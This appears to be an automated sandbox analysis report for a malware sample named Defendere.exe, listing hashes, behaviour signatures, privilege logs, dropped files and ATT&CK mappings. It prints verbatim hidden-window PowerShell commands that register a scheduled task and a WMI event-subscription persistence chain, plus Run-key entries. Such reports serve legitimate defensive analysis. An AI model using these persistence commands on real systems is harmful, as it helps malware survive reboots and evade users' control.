a89676aa3bfb08a68ac0a668853e0f56512632e3034743d2771d476444c498e1

Analysis

user interaction
yes
max time kernel
3s
max time network
12s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/06/2026, 08:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Defendere.exe
Size 8.4MB
Sample260624-kwpbfabs3r
SHA256 a89676aa3bfb08a68ac0a668853e0f56512632e3034743d2771d476444c498e1
MD5 c04e98b01135e5c9a9b9adcc67012650
SHA1 ed422615ef2dc6c511eb339cfdf2044778d2f0ea
SHA512 c02a3c1ec9ac416025ea87c55658b75d3d9ab471d899fbc7823f934a134faedee3762ee223f62b6da2f32a4b91fe89e034c4e9673550437cd509fa7b38d0d1b1
SSDEEP 49152:oZlFI0Dzjtzi9/YEp2AIBAy/zBy2WInXm3kcTmhob4TY/0nYSqRNRYf5D/Ig7VdI:oZXlv5k+hq/aoR5Djahp5mYRQE
TLSH
T164964B47ED9555E8C0EDE1318A729213BBB17C890B2127D72F90F6282F76BD0ADB9344
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5092	powershell.exe
4912	powershell.exe
4788	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-1712712246.tmp	Defendere.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-4235321031.tmp	Defendere.exe

Executes dropped EXE 1 IoCs

pid	Process
2028	Defendere.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-864b9bf2 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\Defendere.exe\""	Defendere.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-864b9bf2 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\Defendere.exe\""	Defendere.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5092	powershell.exe
5092	powershell.exe
4912	powershell.exe
4912	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeIncreaseQuotaPrivilege	5092	powershell.exe
Token: SeSecurityPrivilege	5092	powershell.exe
Token: SeTakeOwnershipPrivilege	5092	powershell.exe
Token: SeLoadDriverPrivilege	5092	powershell.exe
Token: SeSystemProfilePrivilege	5092	powershell.exe
Token: SeSystemtimePrivilege	5092	powershell.exe
Token: SeProfSingleProcessPrivilege	5092	powershell.exe
Token: SeIncBasePriorityPrivilege	5092	powershell.exe
Token: SeCreatePagefilePrivilege	5092	powershell.exe
Token: SeBackupPrivilege	5092	powershell.exe
Token: SeRestorePrivilege	5092	powershell.exe
Token: SeShutdownPrivilege	5092	powershell.exe
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeSystemEnvironmentPrivilege	5092	powershell.exe
Token: SeRemoteShutdownPrivilege	5092	powershell.exe
Token: SeUndockPrivilege	5092	powershell.exe
Token: SeManageVolumePrivilege	5092	powershell.exe
Token: 33	5092	powershell.exe
Token: 34	5092	powershell.exe
Token: 35	5092	powershell.exe
Token: 36	5092	powershell.exe
Token: SeIncreaseQuotaPrivilege	5092	powershell.exe
Token: SeSecurityPrivilege	5092	powershell.exe
Token: SeTakeOwnershipPrivilege	5092	powershell.exe
Token: SeLoadDriverPrivilege	5092	powershell.exe
Token: SeSystemProfilePrivilege	5092	powershell.exe
Token: SeSystemtimePrivilege	5092	powershell.exe
Token: SeProfSingleProcessPrivilege	5092	powershell.exe
Token: SeIncBasePriorityPrivilege	5092	powershell.exe
Token: SeCreatePagefilePrivilege	5092	powershell.exe
Token: SeBackupPrivilege	5092	powershell.exe
Token: SeRestorePrivilege	5092	powershell.exe
Token: SeShutdownPrivilege	5092	powershell.exe
Token: SeDebugPrivilege	5092	powershell.exe
Token: SeSystemEnvironmentPrivilege	5092	powershell.exe
Token: SeRemoteShutdownPrivilege	5092	powershell.exe
Token: SeUndockPrivilege	5092	powershell.exe
Token: SeManageVolumePrivilege	5092	powershell.exe
Token: 33	5092	powershell.exe
Token: 34	5092	powershell.exe
Token: 35	5092	powershell.exe
Token: 36	5092	powershell.exe
Token: SeIncreaseQuotaPrivilege	4912	powershell.exe
Token: SeSecurityPrivilege	4912	powershell.exe
Token: SeTakeOwnershipPrivilege	4912	powershell.exe
Token: SeLoadDriverPrivilege	4912	powershell.exe
Token: SeSystemProfilePrivilege	4912	powershell.exe
Token: SeSystemtimePrivilege	4912	powershell.exe
Token: SeProfSingleProcessPrivilege	4912	powershell.exe
Token: SeIncBasePriorityPrivilege	4912	powershell.exe
Token: SeCreatePagefilePrivilege	4912	powershell.exe
Token: SeBackupPrivilege	4912	powershell.exe
Token: SeRestorePrivilege	4912	powershell.exe
Token: SeShutdownPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeSystemEnvironmentPrivilege	4912	powershell.exe
Token: SeRemoteShutdownPrivilege	4912	powershell.exe
Token: SeUndockPrivilege	4912	powershell.exe
Token: SeManageVolumePrivilege	4912	powershell.exe
Token: 33	4912	powershell.exe
Token: 34	4912	powershell.exe
Token: 35	4912	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2852 wrote to memory of 5092	2852	Defendere.exe	86
PID 2028 wrote to memory of 4912	2028	Defendere.exe	93

C:\Users\Admin\AppData\Local\Temp\Defendere.exe
"C:\Users\Admin\AppData\Local\Temp\Defendere.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Defendere_64964235' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5092

C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'Defendere_64964235' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'Defendere_f64964235'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'Defendere_c64964235'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\Defendere.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='Defendere_f64964235'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='Defendere_c64964235'\"; $null = $b.Put()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 bc4849c014cb53e50d04eb72319b2e4f9a09cb3acc7663110dac72caf47874c4
MD5 68c7431c8860466ed80f766b0741cee6
SHA1 701c5575207dd378e0c6050072fe2ed1d2b0f1a5
SHA512 40a88954a126edf37a7cb8406e40283316262c0ae7f1a375008ae1776c41cf76324d38fdfd336c88b50e35f8089e62a080c9eab784476347fc774edf3b8db6fd
TLSH
T17B81FD323375B0D4C9567F072A2819D063BF4386EA98AF4CB25C621EDD2650BDB122F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 240B
SHA256 c57e24a9b3098929c447e11ca87e2c43c642fea19b512b378f7daa68c65d88fe
MD5 495763e7ccab38013653c699fe14eb4d
SHA1 361c949af4f2df6fad224d38e3a408dfe128699e
SHA512 0b7b1d10ecf936b6e07e1baae4fd8ce83eb8f7b080dade6f29f0b2b531523e53f6f55754fee2dbb388a371d75cad497f8689e508b8f26b108cf5d2ca1f5c5fa6
TLSH
T1A7D08070FB55C021C9915A78C04D9411771989A784436E267E88C138E5F74C5DF72271
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7bb8e8f5601c0776330e1d28e34bf380c6cd83814f2611cdb2efeb37f15880cb
MD5 0a9817db0a9d99d270aa2a66705bd9ca
SHA1 0353f0515a31d96419174780153bdcd435e6a16a
SHA512 588d5dfb6609191d2db6ffd75be40c693224235273b36e5c95d37df18a941c4d9d8128c4a3106ca125f29ba17beff21a5eea576d68b29608d7f59e72dadb404e
TLSH
T1EB216527B3DDC921DC9A163A509D9C1076B682C7809ECF9F6BC4D615907F6C8CB21194
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_10asg15j.r5b.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_10asg15j.r5b.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

agent-1991805936.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-1991805936.tmp
Size 8.4MB
SHA256 a89676aa3bfb08a68ac0a668853e0f56512632e3034743d2771d476444c498e1
MD5 c04e98b01135e5c9a9b9adcc67012650
SHA1 ed422615ef2dc6c511eb339cfdf2044778d2f0ea
SHA512 c02a3c1ec9ac416025ea87c55658b75d3d9ab471d899fbc7823f934a134faedee3762ee223f62b6da2f32a4b91fe89e034c4e9673550437cd509fa7b38d0d1b1
SSDEEP 49152:oZlFI0Dzjtzi9/YEp2AIBAy/zBy2WInXm3kcTmhob4TY/0nYSqRNRYf5D/Ig7VdI:oZXlv5k+hq/aoR5Djahp5mYRQE
TLSH
T164964B47ED9555E8C0EDE1318A729213BBB17C890B2127D72F90F6282F76BD0ADB9344
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4788-65-0x0000024468A30000-0x0000024468C4C000-memory.dmp

Download

memory/4912-53-0x0000026382280000-0x000002638249C000-memory.dmp

Download

memory/5092-30-0x0000023E77910000-0x0000023E7792C000-memory.dmp

Download

memory/5092-26-0x0000023E77830000-0x0000023E778E5000-memory.dmp

Download

memory/5092-27-0x0000023E77800000-0x0000023E7780A000-memory.dmp

Download

memory/5092-16-0x00007FF44A850000-0x00007FF44A860000-memory.dmp

Download

memory/5092-49-0x0000023E77490000-0x0000023E776AC000-memory.dmp

Download

memory/5092-15-0x0000023E77460000-0x0000023E77482000-memory.dmp

Download

memory/5092-7-0x0000023E752E0000-0x0000023E752F0000-memory.dmp

Download

memory/5092-25-0x0000023E77810000-0x0000023E7782C000-memory.dmp

Download

memory/5092-6-0x0000023E752E0000-0x0000023E752F0000-memory.dmp

Download

memory/5092-24-0x0000023E752E0000-0x0000023E752F0000-memory.dmp

Download